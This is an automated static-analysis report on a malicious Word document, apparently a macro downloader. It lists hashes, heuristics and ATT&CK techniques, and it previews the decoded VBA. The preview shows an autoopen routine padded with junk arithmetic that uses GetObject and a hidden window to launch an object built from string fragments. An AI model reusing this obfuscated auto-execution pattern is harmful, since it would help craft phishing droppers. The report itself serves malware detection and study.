Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9de183ccf1493fd4…

MALICIOUS

Office (OLE)

160.8 KB Created: 2019-03-21 15:07:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: f73c4e0d4a0c12e6bc9524b0cfee2046 SHA-1: c5cf09761840b64fc798411b22aaefa89d7a8512 SHA-256: 9de183ccf1493fd4e592f67bfef4e8ad01218f866d5812047338e10c5cf79d23
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro. The 'autoopen' subroutine and the use of 'GetObject' indicate an attempt to execute code upon opening. The macro is heavily obfuscated, but its presence and the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic strongly suggest it's designed to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Dsdu-6904698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dsdu-6904698-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11484 bytes
SHA-256: 53b759af1e62f273fd4d96a1806cc32ce2fe03eae1891fc04f16cd3e0262d9a2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zUAXwXAo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UkB44A_"
Attribute VB_Base = "0{C2A45E56-E8BC-47A5-B0DC-8C77BD2DA978}{8A3C4FBA-C845-4D5B-8CAF-19C4BCC6F162}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "PGACXDB"
Sub autoopen()
On Error Resume Next
   If mGoAAUo = ZAADQUB Then
   uABAxAZA = (10512607)
   XAkwGAD = (qkXAQC * CInt(389306673 _
+ Atn(195274949 * HwAAcAA)) + DBoUAAX + CDbl(MUU41AkA - Sqr(wDA1UD1w / _
CBool(709472841 / 913185019) + AxA_wCAA - Rnd(b_CAAQA))) * 491489548 * 1998501)
   zD4AQXxA = (517957526)
End If
   If oAoAUUok = pUAwQBA Then
   JZxDB1 = (311817781)
   bkBGGBUX = (TQAA4_xA * CInt(537945349 _
+ Atn(60049522 * iBcAXQA1)) + LCBGoA + CDbl(q4AQD_ - Sqr(VoBkQk / _
CBool(254720498 / 677039697) + iADAAwA1 - Rnd(jC4BADAA))) * 528418943 * 58183471)
   NCAUAQ1 = (103066395)
End If
Set mDDocGQc = GetObject(XUUAAxXx + UkB44A_.BQABAQAX + RQCAA_)
   If vQB4AowA = nZcAAA1 Then
   JDAQQwAZ = (625218206)
   T1wAQCC = (j_AUB1 * CInt(15841876 _
+ Atn(972932330 * PADGCA)) + BUBU4D + CDbl(XADAQwGA - Sqr(LQGww1A_ / _
CBool(370981849 / 360892061) + OABUow_ - Rnd(DZoBAADU))) * 59178621 * 603141392)
   Mk_4AA1 = (257279409)
End If
   If DAGcAAA = aAABQk Then
   rUD1oC = (377908979)
   CAQ_Ax = (WAADDAA * CInt(131243702 _
+ Atn(409057128 * tAXAAC)) + SAXC1A + CDbl(LQQBADx - Sqr(MG_AAA_1 / _
CBool(298597799 / 73482183) + EAQAow1w - Rnd(QXA44oA))) * 436742950 * 786734372)
   aU1UDD = (103327149)
End If
   If mkGADX = XAAXGo Then
   B1ZAkkDA = (606613638)
   ZAUcAxA = (KA1QZAo * CInt(790188634 _
+ Atn(140126788 * QA_QBAA)) + mA_cAAA + CDbl(qXADo44 - Sqr(b1wBQ_AA / _
CBool(339156163 / 961295275) + iGxoQ_ - Rnd(uXDAkA))) * 950559554 * 24194851)
   sAoQAA = (400888718)
End If
mDDocGQc.ShowWindow = 441614 - 441614
   If zADDCAA = QUAGQ4BD Then
   MGA4DBQ = (656530157)
   TDAQQD = (MAwAUAAc * CInt(569301235 _
+ Atn(513129925 * J_A1BAAA)) + IZAAZCA + CDbl(VkQBUAk1 - Sqr(UcADDAA / _
CBool(79562255 / 498649511) + lAAUBAAB - Rnd(C14oUU))) * 619833876 * 553374857)
   hwA4QAk = (805717099)
End If
   If ODADBA = zZAAoAcU Then
   NcXAkU = (121133189)
   pCADcx = (zABGAQU * CInt(540752684 _
+ Atn(887927430 * EkoBAA)) + u_wUw4A + CDbl(jkAUkBAo - Sqr(LXZAwwC / _
CBool(169431440 / 153835992) + zwBBBDU - Rnd(DkACAAk))) * 790196831 * 954529924)
   jGAXwUwc = (158843388)
End If
GetObject(wDAAZA1_ + UkB44A_.HQAoAAAB + DAD1QDZ). _
Create@ L4AUA_ + UkB44A_.WAX1BGo + WoAA1AD + UkB44A_.RA_AoAAQ + OB4cGAZ + UkB44A_.YADUZAD + VDCoBZx, HoA1_D, mDDocGQc, f4XQUU1C
   If hUkAAAAo = LDAAAGQ Then
   zU_QoQk = (208091472)
   ZAUBZDc_ = (hDAAGDxX * CInt(479552722 _
+ Atn(567560704 * NAA1XXw)) + kAcwAZ + CDbl(pQXkxQ - Sqr(HoQQAABk / _
CBool(116136934 / 642053641) + LAQwB_ - Rnd(zDABwc))) * 684443370 * 807029035)
   Mo_ZA1 = (703202071)
End If
   If jwAAZZ = ZBZQDk1 Then
   zwoAAAcA = (112043713)
   iGAAAUA = (lQAAkXX1 * CInt(894233334 _
+ Atn(922442554 * m_CQ_kCA)) + VDCCAA + CDbl(TCABw_ - Sqr(BQcGAXoA / _
CBool(915969555 / 186348763) + NBXDwZk - Rnd(JDUCBQ))) * 294005990 * 573737662)
   ZAADUD = (89542904)
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/fc7b56ca6288420cb2022367d7ae675a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/zUAXwXAo - 1106 bytes
' Macros/VBA/UkB44A_ - 1157 bytes
' Macros/VBA/PGACXDB - 5364 bytes
' Line #0:
' 	FuncDefn (Sub PGACXDB())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	Ld mGoAAUo 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	LitDI4 0x68DF 0x00A0 
' 	Paren 
' 	St ZAADQUB 
' Line #4:
' 	LineCont 0x0008 08 00 00 00 1B 00 00 00
' 	Ld
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.